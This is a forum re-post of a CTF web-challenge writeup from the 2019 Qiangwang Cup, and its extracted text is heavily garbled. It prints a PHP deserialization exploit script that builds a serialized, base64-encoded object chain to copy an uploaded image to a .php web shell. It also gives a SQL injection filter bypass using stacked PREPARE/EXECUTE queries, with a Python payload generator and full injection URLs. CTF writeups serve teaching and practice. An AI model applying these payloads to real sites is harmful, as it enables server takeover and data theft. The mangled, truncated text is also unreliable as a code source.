[14234] 2019-06-16_2019强网杯Web部分Writeup

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2019-06-16_2019强网杯Web部分Writeup 2 0 1 9 W e b W r i t e u p c c k   F r e e B u f   2 0 1 9 - 0 6 - 1 6 2 0 1 9 w e b u p l o a d c o o k i e c o o k i e s h e l l
w w w . t a r . g z . i d e a p h p s t o r m : ) a p p l i c a t i o n / w e b / c o n t r o l l e r / R e g i s t e r . p h p a p p l i c a t i o n / w e b / c o n t r o l l e r / I n d e x . p h p a p p l i c a t i o n / w e b / c o n t r o l l e r / R e g i s t e r . p h p a p p l i c a t i o n / w e b / c o n t r o l l e r / I n d e x . p h p R e g i s t e r . p h p 访 i n d e x i n d e x ( ) i n d e x ( ) i n d e x . p h p c o o k i e b a s e 6 4 $ t h i s - > f i l e n a m e _ t m p $ t h i s - > f i l e n a m e 使 G E T b y p a s s i f i f w e b / c o n t r o l l e r / I n d e x . p h p w e b / c o n t r o l l e r / P r o f i l e . p h p w e b / c o n t r o l l e r / R e g i s t e r . p h p p u b l i c   f u n c t i o n   u p l o a d _ i m g ( ) {                 i f ( $ t h i s - > c h e c k e r ) {                         i f ( ! $ t h i s - > c h e c k e r - > l o g i n _ c h e c k ( ) ) {                                 $ c u r r _ u r l = " h t t p : / / " . $ _ S E R V E R [ ' H T T P _ H O S T ' ] . $ _ S E R V E R [ ' S C R I P T _ N A M E ' i f ( g e t i m a g e s i z e ( $ t h i s - > f i l e n a m e _ t m p ) ) { @ c o p y ( $ t h i s - > f i l e n a m e _ t m p ,   $ t h i s - > f i l e n a m e ) ; @ u n l i n k ( $ t h i s - > f i l e n a m e _ t m p ) ;   i f ( ! e m p t y ( $ _ F I L E S ) ) {                         $ t h i s - > f i l e n a m e _ t m p = $ _ F I L E S [ ' u p l o a d _ f i l e ' ] [ ' t m p _ n a m e ' ] ;                         $ t h i s - > f i l e n a m e = m d 5 ( $ _ F I L E S [ ' u p l o a d _ f i l e ' ] [ ' n a m e ' ] ) . " . p n g " ;                         $ t h i s i f ( $ t h i s - > c h e c k e r ) {         i f ( ! $ t h i s - > c h e c k e r - > l o g i n _ c h e c k ( ) ) {                 $ c u r r _ u r l = " h t t p : / / " . $ _ S E R V E R [ ' H T T P _ H O S T ' ] . $ _ S E R V E R [ ' S C R I P T _ N A M E ' ] . " / i n d e x " ;                 $ t h i s - > r e d i r e c t ( $ c u r r _ u r l , p u b l i c   $ c h e c k e r = 0 ; p u b l i c   $ f i l e n a m e _ t m p = " . . / p u b l i c / u p l o a d / 9 c 1 5 3 4 b 1 e 8 d b b 5 a 0 c 0 e c 3 f 7 0 d 2 4 f 9 6 2 7 / 0 d 4 4 a 7 f 4 f 1 a e 1 8 9 a 4 c 1 d 8 8 b 8 3 f 6 6 e c 6 8 . p n g " ; p u b l i c   $ f i l e n a m e = " . . / p u b l i c / u p l o a d / 9 c 1 5 3 4 b 1 e 8 d b b 5 a 0 c 0 e c 3 f 7 0 d 2 4 f 9 6 2 7 / e t h a n . p h p "
u p l o a d _ i m g c o p y p h p u p l o a d _ i m g 访 _ _ g e t ( )   访 _ _ c a l l ( )   g e t e x c e p t c a l l n a m e 访 g e t 访 访 c a l l w e b / c o n t r o l l e r / R e g i s t e r . p h p c h e c k e r I n d e x i n d e x ( ) c h e c k e r d e s t r u c t P r o f i l e i n d e x ( ) c a l l c h e c k i n d e x ( ) P r o f i l e . p h p $ t h i s - > i n d e x , P r o f i l e _ _ g e t r e t u r n   $ t h i s - > e x c e p t [ i n d e x ] ; e x c e p t R e g i s t e r _ _ d e s t r u c t ( ) u p l o a d _ i m g _ _ g e t e x c e p t p a y l o a d c o o k i e p h p p u b l i c   f u n c t i o n   _ _ g e t ( $ n a m e ) {         r e t u r n   $ t h i s - > e x c e p t [ $ n a m e ] ; } p u b l i c   f u n c t i o n   _ _ c a l l ( $ n a m e ,   $ a r g u m e n t s ) {         i f ( $ t h i s - > { $ n a m e } ) {                 $ t h i s - > { $ t h i s - > { $ n a m e } } ( $ a r g u m e n t s ) ;         } } c l a s s   R e g i s t e r   e x t e n d s   C o n t r o l l e r {         p u b l i c   $ c h e c k e r ;         p u b l i c   $ r e g i s t e d ;         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( )         {                 $ t h i s - > c h e c k e r = n e w   I n d e x ( ) ;         }         p u b l i c   f u n c t i o n   _ _ d e s t r u c t p u b l i c   f u n c t i o n   _ _ c a l l ( $ n a m e ,   $ a r g u m e n t s ) {         i f ( $ t h i s - > { $ n a m e } ) {                 $ t h i s - > { $ t h i s - > { $ n a m e } } ( $ a r g u m e n t s ) ;         } } p u b l i c   $ e x c e p t = a r r a y ( ' i n d e x ' = > ' u p l o a d _ i m g ' ) ; R e g i s t e r - > _ _ d e s t r u c t P r o f i l e - >   _ _ c a l l P r o f i l e - >   _ _ g e t P r o f i l e - >   u p l o a d _ i m g ( ) < ? p h p n a m e s p a c e   a p p w e b c o n t r o l l e r ; c l a s s   P r o f i l e {         p u b l i c   $ c h e c k e r = 0 ;         p u b l i c   $ f i l e n a m e _ t m p = " . . / p u b l i c / u p l o a d / 9 c 1 5 3 4 b 1 e 8 d b b 5 a 0 c 0 e c 3 f 7 0 d 2 4 f 9 6 2 7 / 0 d 4 4 a 7 f 4 f 1 a e 1 8 9 a 4 c 1 d 8 8 b 8 3 f 6 6 e c 6 8 . p n g " ;         p u b l i c   $ f i l e n a m e = " . . / p u b l i c / u p l o a d / 9 c 1 5 3 4 b 1 e 8 d b b 5 a 0 c 0 e c 3 f 7 0 d 2 4 f 9 6 2 7 / e t h a n . p h p " ;         p u b l i c   $ u p l o a d _ m e n u ;         p u b l i c   $ e x t = 1 ;         p u b l i c   $ i m g ;         p u b l i c   $ e x c e p t = a r r a y ( ' i n d e x ' = > ' u p l o a d _ i m g ' ) ; } c l a s s   R e g i s t e r {         p u b l i c   $ c h e c k e r ;         p u b l i c   $ r e g i s t e d = 0 ; } $ a = n e w   R e g i s t e r ( ) ; $ a - > c h e c k e r = n e w   P r o f i l e ( ) ; $ a - > c h e c k e r - > c h e c k e r   =   0 ; / /   e c h o   s e r i a l i z e ( $ a ) ; e c h o   b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( $ a ) ) ; ? >
使 s h e l l 便 便 s e l e c t . 使 c h a r b y p a s s e x p r e t u r n   p r e g _ m a t c h ( " / s e l e c t | u p d a t e | d e l e t e | d r o p | i n s e r t | w h e r e | . / i " ,   $ i n j e c t ) ; p a y l o a d   =   " 0 ' ; s e t   @ s = c o n c a t ( % s ) ; P R E P A R E   a   F R O M   @ s ; E X E C U T E   a ; " # e x p   =   ' s e l e c t   g r o u p _ c o n c a t ( T A B L E _ N A M E )   f r o m   i n f o r m a t i o n _ s c h e m a . T A B L E S   w h e r e   T A B L E _ S C H E M A = d a t a b a s e ( ) ' # e x p   =   " s e l e c t   g r o u p _ c o n c a t ( C O L U M N _ N A M E )   f r o m   i n f o r m a t i o n _ s c h e m a . C O L U M N S   w h e r e   T A B L E _ N A M E = ' 1 9 1 9 8 1 0 9 3 1 1 1 4 5 1 4 ' " e x p   =   " s e l e c t   f l a g   f r o m   ` 1 9 1 9 8 1 0 9 3 1 1 1 4 5 1 4 ` " r e s   =   ' ' f o r   i   i n   e x p :         r e s   + =   " c h a r ( % s ) , " % ( o r d ( i ) ) m y _ p a y l o a d   =   p a y l o a d % ( r e s [ : - 1 ] ) p r i n t ( m y _ p a y l o a d )
f l a g * c c k F r e e B u f . C O M h t t p : / / 1 9 2 . 1 6 8 . 2 3 . 1 6 6 : 8 8 8 8 / ? i n j e c t = 0 ' ; s e t   @ s = c o n c a t ( c h a r ( 1 1 5 ) , c h a r ( 1 0 1 ) , c h a r ( 1 0 8 ) , c h a r ( 1 0 1 ) , c h a r ( 9 9 ) , c h a r ( 1 1 6 ) , c h a r ( 3 2 ) , c h a r ( 1 0 3 ) , c h a r ( 1 1 4 ) , c h a r ( 1 1 1 ) , c h a r ( 1 1 7 ) , c h a r ( 1 1 2 ) , c h a r h t t p : / / 1 9 2 . 1 6 8 . 2 3 . 1 6 6 : 8 8 8 8 / ? i n j e c t = 0 ' ; s e t   @ s = c o n c a t ( c h a r ( 1 1 5 ) , c h a r ( 1 0 1 ) , c h a r ( 1 0 8 ) , c h a r ( 1 0 1 ) , c h a r ( 9 9 ) , c h a r ( 1 1 6 ) , c h a r ( 3 2 ) , c h a r ( 1 0 3 ) , c h a r ( 1 1 4 ) , c h a r ( 1 1 1 ) , c h a r ( 1 1 7 ) , c h a r ( 1 1 2 ) , c h a r h t t p : / / 1 9 2 . 1 6 8 . 2 3 . 1 6 6 : 8 8 8 8 / ? i n j e c t = 0 ' ; s e t   @ s = c o n c a t ( c h a r ( 1 1 5 ) , c h a r ( 1 0 1 ) , c h a r ( 1 0 8 ) , c h a r ( 1 0 1 ) , c h a r ( 9 9 ) , c h a r ( 1 1 6 ) , c h a r ( 3 2 ) , c h a r ( 1 0 2 ) , c h a r ( 1 0 8 ) , c h a r ( 9 7 ) , c h a r ( 1 0 3 ) , c h a r ( 3 2 ) , c h a r ( 1 0 2

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则